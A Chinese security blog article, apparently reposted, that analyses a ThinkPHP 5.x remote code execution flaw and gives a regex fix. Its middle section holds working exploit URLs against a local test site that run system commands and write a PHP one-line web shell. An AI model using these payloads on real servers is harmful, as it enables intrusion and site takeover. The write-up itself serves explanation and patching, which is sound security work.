ThinkPHP 漏洞修复, 官方于近日, 对现有的 thinkphp5.0 到 5.1 所有版本进行了升级, 以及补丁更新, 这次更新主要是进行了一些漏洞修复, 最严重的就是之前存在的 SQL 注入漏洞, 以及远程代码执行查询系统的漏洞都进行了修复, 官方本以为没有问题了, 但是在实际的安全检测当中发现, 还是存在问题, 还是可以远程代码进行注入, 插入非法字符, 提交到服务器后端中去.
关于这次发现的 oday 漏洞, 我们来看下官方之前更新的代码文件是怎么样的, 更新的程序文件路径是 library 文件夹下的 think 目录里的 App.PHP, 如下图:
漏洞产生的原因就在于这个控制器这里, 整个 ThinkPHP 框架里的功能对控制器没有进行严格的安全过滤于检查, 使攻击者可以伪造恶意参数进行强制插入, 最根本的原因就是正则的表达式写的不好, 导致可以绕过.
在 controller 获取控制器后, 直接进行赋值, 但是并没有对控制器的名进行严格的检测, 导致可以使用斜杠等特殊符号来远程代码注入.
我们来搭建一下网站的环境, apache+MySQL+Linux CentOS 系统, 搭建好的测试环境地址是 http://127.0.01/anquan , 我们可以直接在 index.PHP 后面伪造攻击参数, 示例如下:
http://127.0.0.1/anquan/index.php?s=/index/\think\App/invokefunction&function=call_user_func_array&vars[0]=system&vars[1][]=ls -l
直接 get 方式提交到网站中去, 可以直接查询到网站当前根目录的所有文件, 截图如下:
通过该漏洞也可以直接远程代码注入执行 phpinfo 语句, 查询当前的 PHP 版本, 路径, 扩展, 以及 PHP.INI 存放的地址, 都可以看得到, 构造如下代码即可.
http://127.0.0.1/anquan/index.php?s=/index/\think\App/invokefunction&function=call_user_func_array&vars[0]=system&vars[1][]=PHP -r 'phpinfo();'
有些人可能会问了, 既然都可以 phpinfo, 查询目录文件, 可不可以 getshell 写网站木马文件到网站里呢? 答案是可以的, 我们测试的时候是以一句话木马代码的写入到 safe.PHP 文件里.
http://127.0.0.1/anquan/index.php?s=/index/\think\App/invokefunction&function=call_user_func_array&vars[0]=system&vars[1][]=echo '<?PHP @eval($_GET["cmd"]);?>' > safe.PHP
关于这次 ThinkPHP 的漏洞利用以及分析到此就结束了, 该漏洞属于高危漏洞, 危害严重性较大, 很多升级更新补丁的网站都会受到攻击, 甚至有些网站会被挂马, 那么该如何修复 ThinkPHP 的漏洞呢? 替换之前的正规则表达式即可, 还需要对网站的目录进行权限部署, 防止生成 PHP 文件, 对网站上的漏洞进行修复, 或者是对网站安全防护参数进行重新设置, 使他符合当时的网站环境. 如果不懂如何修复网站漏洞, 也可以找专业的网站安全公司来处理, 国内如 Sinesafe 和绿盟, 启明星辰等安全公司比较专业.
针对于这个情况, 我们要对其 library/think/App.PHP 代码里的正规则表达式进行更改, if (!preg_match('/^[A-Za-z][\w\.]*$/', $controller)) { throw new HttpException(404, 'controller not exists:' . $controller); }
来源: https://yq.aliyun.com/articles/676380